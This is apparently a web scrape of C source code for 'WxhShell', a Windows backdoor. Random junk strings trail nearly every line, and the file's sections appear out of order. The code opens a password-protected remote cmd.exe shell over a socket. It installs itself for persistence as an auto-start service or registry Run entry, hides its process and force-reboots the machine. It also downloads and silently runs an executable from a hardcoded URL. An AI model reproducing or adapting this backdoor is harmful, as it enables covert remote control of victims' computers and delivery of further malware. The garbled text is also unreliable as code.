    closesocket(wsh); K`j:F>b  
    ExitThread(0); dPxJ`8  
    } dc_2nF  
    break; )=bW\=[8  
    } ]rNxvFN*j  
  // 获取shell g>#}(u!PH  
  case 's': { vP+qwvpGr  
    CmdShell(wsh); 5sj$XA?5  
    closesocket(wsh); \zwm:@lG  
    ExitThread(0); [@B!N+P5;  
    break; {t.S_|IE  
  } "zzb`T[8  
  // 退出 pSEaE9AX%  
  case 'x': { ]=]MJ3_7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ITEf Q@#jU  
    CloseIt(wsh); &}|`h8JA]K  
    break; "q!*RO'a  
    } rhX?\_7o  
  // 离开 L@_o*"&j  
  case 'q': { *~*"p)`<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k*C[-5&#  
    closesocket(wsh); ^R)]_   
    WSACleanup(); "DH>4Q] d  
    exit(1); +x/vZXtOK  
    break; k,; (`L  
        } <OJqeUo+*\  
  } <b\8<mTr  
  } S v#,L8f  
!R#PJH/TM  
  // 提示信息 tA'5ufj*:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h?} S|>9  
} O*x~a;?G  
  } 9C7HL;MF  
2+p XtP@O  
  return; - DYH>!  
} Lxv_{~I*  
{ot6ssT=D  
// shell模块句柄 Asq&Z$bB_  
int CmdShell(SOCKET sock) %nE%^Enw  
{ \q24E3zS&  
STARTUPINFO si; sJl>evw  
ZeroMemory(&si,sizeof(si)); Ir*{IVvej  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Z"N2D)."  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HCe/!2Y/%  
PROCESS_INFORMATION ProcessInfo; '"ze Im~  
char cmdline[]="cmd"; L'"c;FF02i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ! L3|5:j  
  return 0; E @Rb+8},"  
} +&J1D8  
$BB^xJ\O  
// 自身启动模式 p6)6Gcx  
int StartFromService(void) >?G!>kw  
{ sqjDh  
typedef struct *YX:e@Fm.a  
{ #SjCKQ~  
  DWORD ExitStatus; ]gF=I5jn]  
  DWORD PebBaseAddress; IlI5xkJ(  
  DWORD AffinityMask; A2\3.3  
  DWORD BasePriority; :!fY;c?  
  ULONG UniqueProcessId; v;}MHl  
  ULONG InheritedFromUniqueProcessId; [(.lfa P  
}   PROCESS_BASIC_INFORMATION; -yu$Mm  
{!wd5C@  
PROCNTQSIP NtQueryInformationProcess; >%n6n! "  
+@7c:CAy(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +>c%I&h}`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h=n\c6Q  
9+.3GRt7  
  HANDLE             hProcess; o"A?Aq  
  PROCESS_BASIC_INFORMATION pbi; Wg8*;dvtM  
TQ[J,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 04}c_XFFE  
  if(NULL == hInst ) return 0; w^7[4u4  
1 .o0"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e"p){)*$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ') 2LP;(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [<Mls@?  
/N./l4D1K-  
  if (!NtQueryInformationProcess) return 0; 0wF)bQv1  
wNNg"}&P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y 7?q `  
  if(!hProcess) return 0; ^(BE_<~  
gzlRK^5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $H/: -v  
`nc=@" 1  
  CloseHandle(hProcess); V~Jt  
 _BCq9/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A-M6MW  
if(hProcess==NULL) return 0; J$`5KbT3  
@Yw42`> !s  
HMODULE hMod; \vpX6!T  
char procName[255]; VmXXj6l&  
unsigned long cbNeeded; ;D%H}+Z  
5)->.*G*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3 [O+wVv  
20:![/7:!  
  CloseHandle(hProcess); !|mzu1S  
"wxyY^"  
if(strstr(procName,"services")) return 1; // 以服务启动 LF+E5{=:R  
YjPj#57+  
  return 0; // 注册表启动 Y+0GJuBf  
} vVjk9_Ul  
wb39s^n  
// 主模块 L3s"L.G  
int StartWxhshell(LPSTR lpCmdLine) oS<*\!&D  
{ Sh:_YD^(  
  SOCKET wsl; uu/2C \n}  
BOOL val=TRUE; |!CAxE0d$B  
  int port=0; =i},$"Bf*%  
  struct sockaddr_in door; v"_E0 3!  
T5dnj&N ]  
  if(wscfg.ws_autoins) Install(); nUCOHVI7  
HzsQ`M4cA  
port=atoi(lpCmdLine); %Vk77(  
N_l_^yD  
if(port<=0) port=wscfg.ws_port; a/[)A _-  
E9' 2_e  
  WSADATA data; v z&88jt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .d?LRf  
vdot .  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *n6L3"cO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )^ PWr^  
  door.sin_family = AF_INET; dfh 1^Go  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v[)8 1uY  
  door.sin_port = htons(port); '($$-P\/  
ZVrZkd `  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W>'(MB$3  
closesocket(wsl); \m=k~Cf:f  
return 1; M C y~~DL  
} L-%'jR  
5kojh _\  
  if(listen(wsl,2) == INVALID_SOCKET) { )4> 7X)j>  
closesocket(wsl); e\!Aoky  
return 1; [GcW*v  
} -lR7 @S  
  Wxhshell(wsl); yJ ;Qe_up  
  WSACleanup(); l hST%3Ld  
g{f7 } gTG  
return 0; [X*u`J  
"]OROJGa  
} M`E}1WNQ?]  
RE1M4UV.  
// 以NT服务方式启动 ls~9qkAyLx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <~S]jtL.j:  
{ v8n^~=SH  
DWORD   status = 0; gdq6jz  
  DWORD   specificError = 0xfffffff; WQbjq}RfI  
C~C`K%7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0& ?L%Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :6/$/`I0W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l]gW_wUQd  
  serviceStatus.dwWin32ExitCode     = 0; JoZS p"R  
  serviceStatus.dwServiceSpecificExitCode = 0; F!p;]B  
  serviceStatus.dwCheckPoint       = 0; LF#[$ so{i  
  serviceStatus.dwWaitHint       = 0; D4uAwmc  
%0Qq~J@Lu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >(.Y%$9"E  
  if (hServiceStatusHandle==0) return; 0Ue~dVrM(?  
CxSh.$l  
status = GetLastError(); Kr;=4xg=  
  if (status!=NO_ERROR) N;k)>  
{ `r-3"or/$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sZ;Gb^{Z  
    serviceStatus.dwCheckPoint       = 0; EVC]B}  
    serviceStatus.dwWaitHint       = 0; ! h92dH  
    serviceStatus.dwWin32ExitCode     = status; B^/k`h6J  
    serviceStatus.dwServiceSpecificExitCode = specificError; dCo3VF"u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g/i%XTX>  
    return; c?REDj2  
  } xGOVMo +  
.!Kqcz% A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `S.I,<&  
  serviceStatus.dwCheckPoint       = 0; 6 jm@`pYbE  
  serviceStatus.dwWaitHint       = 0; : @eHV=|+>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gNc;P[  
} hQlyqTP|2  
~*9Ue@  
// 处理NT服务事件,比如:启动、停止 ST;o^\B  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ; (A-  
{ =8%*Rrj^  
switch(fdwControl) 08D:2 z1z  
{ ]!~?j3-k Q  
case SERVICE_CONTROL_STOP: Wq"-T.i  
  serviceStatus.dwWin32ExitCode = 0; s@{~8cHgU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xR|^{y9n  
  serviceStatus.dwCheckPoint   = 0; ;R Jv7@  
  serviceStatus.dwWaitHint     = 0; ?u/UV,";y  
  { Bq1}"092  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C&R U  
  } }/,Rp/+7]  
  return; o4J@M{xb_  
case SERVICE_CONTROL_PAUSE: 5Pxx)F9]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }6<5mq)%  
  break; 6-0sBB9=u  
case SERVICE_CONTROL_CONTINUE: mfS}+_ C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cl-P6NlR".  
  break; 2|d^#8)ZC  
case SERVICE_CONTROL_INTERROGATE: +^&i(7a[?  
  break; +!E9$U>6%  
}; DwZRx@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *|<~IQg  
} \E<Qi3W>*  
ey,f igjd.  
// 标准应用程序主函数 {"%a-*@%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o 9/,@Ri\5  
{ v9Sk\9}S  
&v t)7[  
// 获取操作系统版本 :]]x^wony~  
OsIsNt=GetOsVer(); UnP<`z#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Us!ZQ#pP  
,aGIq. *v  
  // 从命令行安装 l>`66~+s,`  
  if(strpbrk(lpCmdLine,"iI")) Install(); N6\rjYx+7  
5pe)CjE:  
  // 下载执行文件 v}a {nU'  
if(wscfg.ws_downexe) { s%`l>#H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D4|Ajeo;1  
  WinExec(wscfg.ws_filenam,SW_HIDE); b1jDbiH&  
} .%e>>U>F  
j BBl{  
if(!OsIsNt) { bhIShk[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rvx 7}ZL!  
HideProc(); /|i*'6*  
StartWxhshell(lpCmdLine); A%HIfSzQBS  
} f!R7v|j P  
else v<g=uEpN  
  if(StartFromService()) ab%I&B<b  
  // 以服务方式启动 V| kN 1 A  
  StartServiceCtrlDispatcher(DispatchTable); o:W*#dt  
else KN`k+!@/7  
  // 普通方式启动 >yXhP6  
  StartWxhshell(lpCmdLine); g3&nxZ  
:r hB=  
return 0; d=%NFCIV  
}  Fpn*]x  
O65`KOPn  
9X=<uS  
8>#ZU]cG  
=========================================== U&u63 56  
:i?6#_2IC  
3~Fag1Hp  
:??W3ROn  
`4'=&c9  
P(b[|QF  
" /KF@Un_Ow  
"``>ii  
#include <stdio.h> X5VNj|IE  
#include <string.h> zQ{bMj<S  
#include <windows.h> IauLT;!X  
#include <winsock2.h> em3+V  
#include <winsvc.h> 0 3v&k  
#include <urlmon.h> >4Tk#+%Jj  
tJ K58m$  
#pragma comment (lib, "Ws2_32.lib") IJ2'  
#pragma comment (lib, "urlmon.lib") s9CmR]C  
'q$Y m0nL  
#define MAX_USER   100 // 最大客户端连接数 gFHBIN;u  
#define BUF_SOCK   200 // sock buffer 0m*b9+q  
#define KEY_BUFF   255 // 输入 buffer &T0]tzk*,  
#U L75  
#define REBOOT     0   // 重启 dt "/4wCO  
#define SHUTDOWN   1   // 关机 v9* +@  
r[}nrH&8  
#define DEF_PORT   5000 // 监听端口 Y=G`~2Pr=  
`b8nz 7  
#define REG_LEN     16   // 注册表键长度 }#ta3 x  
#define SVC_LEN     80   // NT服务名长度 qm><}N7f  
iw/~t  
// 从dll定义API $RY-yKmi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?<3 d Fb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^`id/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3c6e$/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :E6*m\X!3  
iT Aj$ { >  
// wxhshell配置信息 z/4<x?}+hE  
struct WSCFG { tmS2%1o  
  int ws_port;         // 监听端口 >JE+g[$@  
  char ws_passstr[REG_LEN]; // 口令 %\48hSe  
  int ws_autoins;       // 安装标记, 1=yes 0=no *|W](id7e  
  char ws_regname[REG_LEN]; // 注册表键名 {v]L|e%{  
  char ws_svcname[REG_LEN]; // 服务名 K)>F03=uE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zX*5yNd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ro9:kEG$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }YdC[b$j^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J?m/u6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (c)/&~aE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )e3w-es~4  
.tG3g:  
}; t{iRCj  
>Z_;ZMu)  
// default Wxhshell configuration PjBAf'  
struct WSCFG wscfg={DEF_PORT, t adeG  
    "xuhuanlingzhe", KZ[TW,Gw  
    1, XV%R Mr6  
    "Wxhshell", }WFI /W'  
    "Wxhshell", 0;><@{'  
            "WxhShell Service", EoPvF`T  
    "Wrsky Windows CmdShell Service", C=o-3w  
    "Please Input Your Password: ", D`^wj FF  
  1, %/e'6g<  
  "http://www.wrsky.com/wxhshell.exe", QObVJg,GD  
  "Wxhshell.exe" P ah@d!%A  
    }; H*k\C  
Q`8-|(ngw  
// 消息定义模块 Xykoq"dbb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #Ko I8U"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ({Md({|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )tJaw#Mih  
char *msg_ws_ext="\n\rExit."; 7c(j1:Ku-  
char *msg_ws_end="\n\rQuit."; vd#)+  
char *msg_ws_boot="\n\rReboot..."; [n/c7Pe  
char *msg_ws_poff="\n\rShutdown..."; ($<&H>j0  
char *msg_ws_down="\n\rSave to "; ,^e2ma|z  
{,Vvm*L/  
char *msg_ws_err="\n\rErr!"; o?/H<k\5  
char *msg_ws_ok="\n\rOK!"; x#SE%j?  
^g(qP tQ  
char ExeFile[MAX_PATH]; s'N<  
int nUser = 0; p+?`ru  
HANDLE handles[MAX_USER]; 8%;Wyqdf]  
int OsIsNt; OT$ Ne  
bnkZWw'9  
SERVICE_STATUS       serviceStatus; \36 G``e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .zdaY, U  
3HuocwWbz  
// 函数声明 )b]!IP3  
int Install(void); |(W04Wp"@  
int Uninstall(void);  yI|x 5f  
int DownloadFile(char *sURL, SOCKET wsh); ?QF xds  
int Boot(int flag); RTd,bi*  
void HideProc(void); a Tm R~k  
int GetOsVer(void); tQNc+>7k+u  
int Wxhshell(SOCKET wsl); M {'(+a[  
void TalkWithClient(void *cs); s% R,]q  
int CmdShell(SOCKET sock); ]m`:T  
int StartFromService(void); ^NX;z c  
int StartWxhshell(LPSTR lpCmdLine); 6FUcg40Y  
gp$]0~[tO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *[ 0,QEy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zp[>[1@+  
go=xx.WJ  
// 数据结构和表定义 r<(UN@T}  
SERVICE_TABLE_ENTRY DispatchTable[] = E71H=C 4  
{ *wx%jbJo  
{wscfg.ws_svcname, NTServiceMain}, d5LBL'/o  
{NULL, NULL} X6B,Mply  
}; `2+TN  
}@ U}c6/  
// 自我安装 8VU(+%X  
int Install(void) X)j%v\#`U  
{ 1Z_w2D*  
  char svExeFile[MAX_PATH]; $; _{|{Yj  
  HKEY key; &.2% p  
  strcpy(svExeFile,ExeFile);  y"Fu=  
C[TjcHoA  
// 如果是win9x系统,修改注册表设为自启动 80%"2kG  
if(!OsIsNt) { b(U5n"cdA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |*ZM{$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `%Kj+^|DS  
  RegCloseKey(key); Y cL((6A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >2K'!@ ~'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^j.3'}p  
  RegCloseKey(key); 1xkk5\3]  
  return 0; @S~n^v,)  
    } J<"Z6 '0v  
  } &09~ D8f'  
} &uaSp, L  
else { JY:Fu  
7,?ai6{  
// 如果是NT以上系统,安装为系统服务 h0 %M+g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @pJ;L1sn  
if (schSCManager!=0) 79 _8Oh  
{ \(^]R,~*!b  
  SC_HANDLE schService = CreateService P9`CW  
  ( ~k@{b&  
  schSCManager, XF3lS#pt  
  wscfg.ws_svcname, r4 5}o  
  wscfg.ws_svcdisp, (IHR {m  
  SERVICE_ALL_ACCESS, 71<4q {n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X?r$o>db  
  SERVICE_AUTO_START, &jnBDr  
  SERVICE_ERROR_NORMAL, Mz) r'  
  svExeFile, !q/Q2N(  
  NULL, -~~R?,H'Z_  
  NULL, 0iMfyW:  
  NULL, ??hKsjNAm0  
  NULL, 1v|0&{lB  
  NULL *ZRk)  
  ); ND e FY  
  if (schService!=0) "Rf|o 6!d  
  { 1]8Hpd  
  CloseServiceHandle(schService); HyQ(9cn |  
  CloseServiceHandle(schSCManager); U+ D#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hp(41Eb,  
  strcat(svExeFile,wscfg.ws_svcname); :.-KM7tDI1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aiw4J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eq2L V=d{m  
  RegCloseKey(key); us:v/WTQ  
  return 0; Dn>C :YS`  
    } 6l"4F6  
  } PUd/|Rc/}  
  CloseServiceHandle(schSCManager); !;k ^  
} ph ~#{B(\  
} ']X0g{%  
bg|=)sw4  
return 1; -HFyNk]>  
} --`W1!jI@  
r6:nYyF$)v  
// 自我卸载 p5nrPL  
int Uninstall(void) ufA0H J)Yg  
{ MLDAr dvK  
  HKEY key; 4J[csU  
_UF'Cf+Y  
if(!OsIsNt) { XlwyD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $*9:a3>zny  
  RegDeleteValue(key,wscfg.ws_regname); . Eb=KG  
  RegCloseKey(key); U}-hV@y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 vvNn>Q  
  RegDeleteValue(key,wscfg.ws_regname); iSMVV<7  
  RegCloseKey(key); <ou=f'  
  return 0; V#DNcF~v]f  
  } lI[O!Vu Kc  
}  OF( tCK  
} Q>/[*(.Wd  
else { 8{Wh4~|+  
sQ82(N7l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +|O& k  
if (schSCManager!=0) _^w^tfH]  
{ vqwSOh|P9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O~F8lQ  
  if (schService!=0) wpJfP_H  
  { ^0"[l {  
  if(DeleteService(schService)!=0) { f{R/rb&iB  
  CloseServiceHandle(schService); /}-LaiS  
  CloseServiceHandle(schSCManager); @p7*JLO  
  return 0; G^w:c]  
  } ,09d"7`X  
  CloseServiceHandle(schService); t. kOR<  
  } +q~dS.  
  CloseServiceHandle(schSCManager); %R*-oQ1T  
} WcE/,<^*  
} )u5+<OG}=  
)}R w@70L-  
return 1; 2NqO,B|R  
} E#+|.0*!s  
6y)NH 8l7  
// 从指定url下载文件 Hz3KoO &  
int DownloadFile(char *sURL, SOCKET wsh) #j${R ={  
{ 4VfZw\^  
  HRESULT hr; H5p&dNO  
char seps[]= "/"; M!b"c4|<  
char *token; W&0KO-}ot  
char *file; Ba]^0Y u  
char myURL[MAX_PATH]; Z"'tJ3Y.~  
char myFILE[MAX_PATH];  $"x~p1P  
G8!* &vR/  
strcpy(myURL,sURL); \TXCq@  
  token=strtok(myURL,seps); XSz)$9~hk  
  while(token!=NULL) SpX6PwM  
  { la[>C:8IG  
    file=token; InR/g@n+D1  
  token=strtok(NULL,seps); dgM@|&9*m  
  } _+2Jc}Yf  
H)l7:a  
GetCurrentDirectory(MAX_PATH,myFILE); vmK`QPu 2  
strcat(myFILE, "\\"); V'&`JZK6  
strcat(myFILE, file); use` y^c  
  send(wsh,myFILE,strlen(myFILE),0); I9;,qd%<T  
send(wsh,"...",3,0); C{8(ew  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +LsACSB  
  if(hr==S_OK) 3Ja1|;(2  
return 0; dw]jF=u  
else &)v}oHy,m  
return 1; }MXC0Z~si  
@j|=M7B  
} E|v9khN(].  
p?XVO#  
// 系统电源模块 ];8S<KiS~  
int Boot(int flag) r`GA5 }M  
{ 8%Hc%T[RnT  
  HANDLE hToken; 5VR=D\j  
  TOKEN_PRIVILEGES tkp; Ek%mX"  
`4kVe= {  
  if(OsIsNt) { '| rhm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T_/ n#e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @\s*f7  
    tkp.PrivilegeCount = 1; ATscP hk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KO3X)D<3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !}PZCbDhL  
if(flag==REBOOT) { b:t|9 FE%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]L{diD 2G  
  return 0; _-5|"oJ  
} zSo(+D &[  
else { 5e}adHjM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^LAnR>mz^r  
  return 0; !M@jW[s  
} 5-?*Boi>i  
  } -"uOh,G}  
  else { n5>OZ3 E@  
if(flag==REBOOT) { _ 2 oZhJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L~|_CRw  
  return 0; |e{ ^Yf4  
} r@u8QhD  
else { ,4--3 MU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) / ?Hq  
  return 0; jT=fq'RK  
} Lq2ZgKd!  
} ,xI FF-[0  
i[/`9 AK  
return 1; z9Nial`p  
} #Oi{7~  
sWv!ig_  
// win9x进程隐藏模块 I/* ULR,  
void HideProc(void) zmhL[1qj  
{ QWwdtk  
Ubm]V{7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1+ 9!W  
  if ( hKernel != NULL ) ; ,n}>iTE  
  { @Nn'G{8OG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L<k(stx~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y_nl9}&+C0  
    FreeLibrary(hKernel); |eI!wgQx  
  } ~JHEr48  
moRo>bvN~  
return; KAg-M#  
} |[!7^tU*  
P!dSJ1'oC  
// 获取操作系统版本 .z[#j]k  
int GetOsVer(void) ? =G{2E.  
{ |7QSr!{_  
  OSVERSIONINFO winfo; a66Ns7Rb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XhUVDmeUMb  
  GetVersionEx(&winfo); OlP1Zd/l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tyFsnc k  
  return 1; .d6b ?t  
  else &v#pS!UOj  
  return 0; OwPXQ 3S  
} m- bu{  
'<$*N  
// 客户端句柄模块 ~r_2V$sC2  
int Wxhshell(SOCKET wsl) E24j(>   
{ a4n5i.;  
  SOCKET wsh; NOmFQ)/ &  
  struct sockaddr_in client; _2hZGC%&E  
  DWORD myID; 9_O6Sl  
<G'M/IR a  
  while(nUser<MAX_USER) DMOP*;Uk  
{ Yv.7-DHNl  
  int nSize=sizeof(client); Ehxu`>@N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (|>rDk;  
  if(wsh==INVALID_SOCKET) return 1; !%[fi[p  
J9MAnYd)i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \OXQ%J2v  
if(handles[nUser]==0) }0?XF/e(R  
  closesocket(wsh); ^7a@?|,q8  
else E 02Y,C  
  nUser++; H>o \C  
  } Lrmhr3 w5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X]o"4#CQIX  
z;MPp#Y  
  return 0; o/ 7[ G  
} F]fXS-@ c  
Wt=\hixj-  
// 关闭 socket G1\F7A  
void CloseIt(SOCKET wsh) $ w+.-Tr  
{ Fy0sn|  
closesocket(wsh); M| Nh(kvH  
nUser--; |o+*Iy)  
ExitThread(0); fz A Fn$[  
} bDm7$ (  
i]OEhB Y  
// 客户端请求句柄 @|5B}%!  
void TalkWithClient(void *cs) %~} ,N  
{ )+DDIq  
@biU@[D  
  SOCKET wsh=(SOCKET)cs; *nc3A[B#C  
  char pwd[SVC_LEN]; L|L|liWd  
  char cmd[KEY_BUFF]; KMK8jJ  
char chr[1]; ! ,{zDMA  
int i,j; C"$~w3A k  
B"zB=Aw  
  while (nUser < MAX_USER) { !XM<`H/  
\<\H1;=.@'  
if(wscfg.ws_passstr) { *X{7m]5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8};kNW^2m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?@7!D8$9  
  //ZeroMemory(pwd,KEY_BUFF); ;^u,[d  
      i=0; :U *8S\$  
  while(i<SVC_LEN) { ];"40/X  
r d-yqdJ  
  // 设置超时 \#WWJh"W  
  fd_set FdRead; 0kNKt(_  
  struct timeval TimeOut; Jm#p!G+  
  FD_ZERO(&FdRead); w%plK6:6  
  FD_SET(wsh,&FdRead); j7QK8O$XL  
  TimeOut.tv_sec=8; S3i p?9  
  TimeOut.tv_usec=0; !>D[Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G;iH.rCH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X d o\DQn  
nlI3|5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TnKv)%VF  
  pwd=chr[0]; F_9 4k  
  if(chr[0]==0xd || chr[0]==0xa) { Dr(2@ 0P  
  pwd=0; de)4)EzUP  
  break; >j3':>\U  
  }  <7SE|  
  i++; zi3v, Kq  
    } X7AxI\h  
-CuuO=h  
  // 如果是非法用户,关闭 socket hc[J,yG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %OB>FY:|  
} F8dr-"G  
J(@" 7RX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2G$p x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'I+S5![<  
z-b78A/8  
while(1) { TukhGgmF  
/*{'p!?  
  ZeroMemory(cmd,KEY_BUFF); KXDnhV f  
7)5G 1  
      // 自动支持客户端 telnet标准   pe0ax- Zv  
  j=0; wdfbl_`T  
  while(j<KEY_BUFF) { )W>$_QxbN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z37Dv;&ZD  
  cmd[j]=chr[0]; R!QR@*N  
  if(chr[0]==0xa || chr[0]==0xd) { y0(.6HI  
  cmd[j]=0; s R>>l3H  
  break;  YTZ :D/  
  } |h 6!bt!=  
  j++; n44 T4q  
    } H v/5)  
JDZuT#  
  // 下载文件 BYMdX J  
  if(strstr(cmd,"http://")) { BJb,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dm[cl~[ Q  
  if(DownloadFile(cmd,wsh)) I&#:/|{:5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l+>Y  
  else {l!{b1KJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )W p7e51  
  } k<Gmb~Tg1  
  else { }DM W,+3  
Gv G8s6IZ  
    switch(cmd[0]) { P?f${ t+  
  ><D2of|  
